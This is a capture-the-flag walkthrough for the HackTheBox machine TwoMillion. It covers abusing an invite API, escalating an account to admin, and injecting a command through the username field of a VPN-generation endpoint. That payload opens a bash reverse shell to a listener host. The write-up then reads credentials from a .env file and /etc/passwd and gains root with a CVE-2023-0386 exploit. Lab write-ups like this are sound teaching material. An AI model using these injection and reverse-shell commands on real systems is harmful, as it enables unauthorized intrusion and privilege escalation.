TwoMillion (HackTheBox): API Manipulation → Command Injection → Kernel Exploit

Nmap-scan#

First, let’s initiate a quick scan utilizing nmap.

We need to include “2million.htb” in our /etc/hosts file

1
echo "10.10.11.221 2million.htb" >> /etc/hosts

Trying to have access#

Upon visiting the website, I discovered it’s an outdated version of the HackTheBox platform. To gain access, I attempted to log in using the default credentials, but unfortunately, I received an error message indicating that the user not found.

While exploring the website, I discovered that I can join the platform by obtaining an invite code.

http://2million.htb/invite

I came across a JavaScript code that contains some intriguing elements.

/js/inviteapi.min.js

I am interested in generating my own invite code as well.

I will examine the endpoint “/api/v1/invite/how/to/generate” to gather more information.

After decoding the ROT13 cipher, we discovered the method to generate our own invite code.

Let’s proceed with generating our invite code using the discovered method

Since the invite is encoded using base64, it should be easy to obtain one.

1
curl -s -X POST http://2million.htb/api/v1/invite/generate | jq .data.code -r |base64 -d

Gain administrative#

Upon logging in with the provided invite code, I have started exploring additional API resources to discover more useful functionalities. Fortunately, I have come across some intriguing findings that piqued my interest. “/api/v1”

1
curl -s http://2million.htb/api/v1 -H "Cookie: PHPSESSID=b0akpjn8hlj8h2085dv674tgkv" |jq .
2
{
3
  "v1": {
4
    "user": {
5
      "GET": {
6
        "/api/v1": "Route List",
7
        "/api/v1/invite/how/to/generate": "Instructions on invite code generation",
8
        "/api/v1/invite/generate": "Generate invite code",
9
        "/api/v1/invite/verify": "Verify invite code",
10
        "/api/v1/user/auth": "Check if user is authenticated",
11
        "/api/v1/user/vpn/generate": "Generate a new VPN configuration",
12
        "/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
13
        "/api/v1/user/vpn/download": "Download OVPN file"
14
      },
15
      "POST": {
16
        "/api/v1/user/register": "Register a new user",
17
        "/api/v1/user/login": "Login with existing user"
18
      }
19
    },
20
    "admin": {
21
      "GET": {
22
        "/api/v1/admin/auth": "Check if user is admin"
23
      },
24
      "POST": {
25
        "/api/v1/admin/vpn/generate": "Generate VPN for specific user"
26
      },
27
      "PUT": {
28
        "/api/v1/admin/settings/update": "Update user settings"
29
      }
30
    }
31
  }
32
}

I will attempt to update my settings

1
"PUT": {
2
         "/api/v1/admin/settings/update": "Update user settings"
3
      }

Great!

Having a RCE#

Now that we have administrative access, we can examine :

1
 "admin": {
2
      "GET": {
3
        "/api/v1/admin/auth": "Check if user is admin"
4
      },
5
      "POST": {
6
        "/api/v1/admin/vpn/generate": "Generate VPN for specific user"
7
      },

It seems that after spending some time searching, I have discovered a vulnerability in the username parameter. This is a significant finding as it allows you to inject commands and potentially gain unauthorized access.

/api/v1/admin/vpn/generate

Now that we have identified vulnerability, we can exploit it

1
curl -X POST http://2million.htb/api/v1/admin/vpn/generate -H "Cookie: PHPSESSID=b99sapscujo3dg9l7c454tt4fm" -H "Content-Type: application/json" -d '{"username":"$(bash -c 'bash -i >& /dev/tcp/10.10.10.10/9001 0>&1')"}'

Congratulations! HAHA

Privilege#

After logging in, I discovered an interesting file named “.env”. (A .env file is typically used to store sensitive information)

1
ls -la
2
total 56
3
drwxr-xr-x 10 root root 4096 Jun  8 21:40 .
4
drwxr-xr-x  3 root root 4096 Jun  6 10:22 ..
5
-rw-r--r--  1 root root   87 Jun  2 18:56 .env
6
-rw-r--r--  1 root root 1237 Jun  2 16:15 Database.php
7
-rw-r--r--  1 root root 2787 Jun  2 16:15 Router.php
8
drwxr-xr-x  5 root root 4096 Jun  8 21:40 VPN
9
drwxr-xr-x  2 root root 4096 Jun  6 10:22 assets
10
drwxr-xr-x  2 root root 4096 Jun  6 10:22 controllers
11
drwxr-xr-x  5 root root 4096 Jun  6 10:22 css
12
drwxr-xr-x  2 root root 4096 Jun  6 10:22 fonts
13
drwxr-xr-x  2 root root 4096 Jun  6 10:22 images
14
-rw-r--r--  1 root root 2692 Jun  2 18:57 index.php
15
drwxr-xr-x  3 root root 4096 Jun  6 10:22 js
16
drwxr-xr-x  2 root root 4096 Jun  6 10:22 views

1
cat .env
2
DB_HOST=127.0.0.1
3
DB_DATABASE=htb_prod
4
DB_USERNAME=admin
5
DB_PASSWORD=S************3

Upon inspecting the “.env” file, I found that it contains admin credentials

1
cat /etc/passwd | grep sh
2
root:x:0:0:root:/root:/bin/bash
3
www-data:x:33:33:www-data:/var/www:/bin/bash
4
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
5
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
6
admin:x:1000:1000::/home/admin:/bin/bash

admin is an user

I will attempt to switch to the “admin” user by using the provided pass

we have gained access ‘YoHOO’

While conducting further research, you came across some intriguing findings indicating the presence of a potential CVE

1
admin@2million:/var/www/html$ find / -perm -u=s -type f 2>/dev/null |grep "tmp"
2
/tmp/cve/ovlcap/upper/file
3
/tmp/.troll80lvl/CVE-2023-0386/ovlcap/upper/file
4
/tmp/CVE-2023-0386-main/ovlcap/lower/file
5
/tmp/CVE-2023-0386-main/ovlcap/upper/file

CVE-2023-0386 POC: Link to CVE-2023-0386 Repository

By following the POC, I have acquired the ability to escalate the privileges to the root user level.

1
root@2million:/var/www/html# whoami
2
root
3
root@2million:/var/www/html# id
4
uid=0(root) gid=0(root) groups=0(root),1000(admin)